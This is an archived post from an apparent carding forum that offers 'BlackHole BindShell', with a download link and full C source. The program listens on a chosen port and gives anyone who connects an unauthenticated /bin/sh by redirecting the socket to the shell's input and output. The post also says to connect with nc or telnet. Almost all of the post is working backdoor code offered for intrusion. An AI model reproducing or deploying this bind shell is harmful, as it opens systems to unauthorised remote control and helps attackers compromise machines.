PDA

View Full Version : BlackHole BindShell



CardingMafia Admin
09-20-2014, 03:38 PM
You can get it here Download blackhole @ UppIT (http://uppit.com/03rivgsg8p9i/blackhole.c)
or copy the source

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <unistd.h>

#define SH "/bin/sh"
#define LISTN 1

int main(int argc, char **argv)
{

char *fst = "\nConnected!\n\n";
char *sec = "Blackhole BindShell modified By MIND Z SEC([email protected]/facebook.com/flori12)\n";
char *thr = "If this is telnet enter ; for every command\n\n";

int outsock, insock, sz;

/* set up two structs for in and out */
struct sockaddr_in home;
struct sockaddr_in away;
/* set port, proto and bzero for BIND */
home.sin_family=AF_INET;
int P;
printf("\nEnter your desired port to listen :: ");
scanf("%d", &P);
printf("\nNow connect to this machine with nc or telnet \n");
printf("\nFor nc->nc IP %d\n", P);
printf("\nFor telnet->telnet IP %d\n\n", P);
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("\nSocket error\n"));

if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
exit(printf("\nBind error\n"));

if((listen(outsock,LISTN))<0)
exit(printf("\nListen error\n"));

sz=sizeof(struct sockaddr_in);

/* infinate loop - wait for accept*/
for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("\nAccept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0); /* send out welcome mesg */
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0); /* open stdin */
dup2(insock,1); /* open stdout */
dup2(insock,2); /* open stderr */
execl(SH,SH,(char *)0); /* start our shell */
close(insock);
exit(0); /* all done, leave and close sock */
}
close(insock);
}
}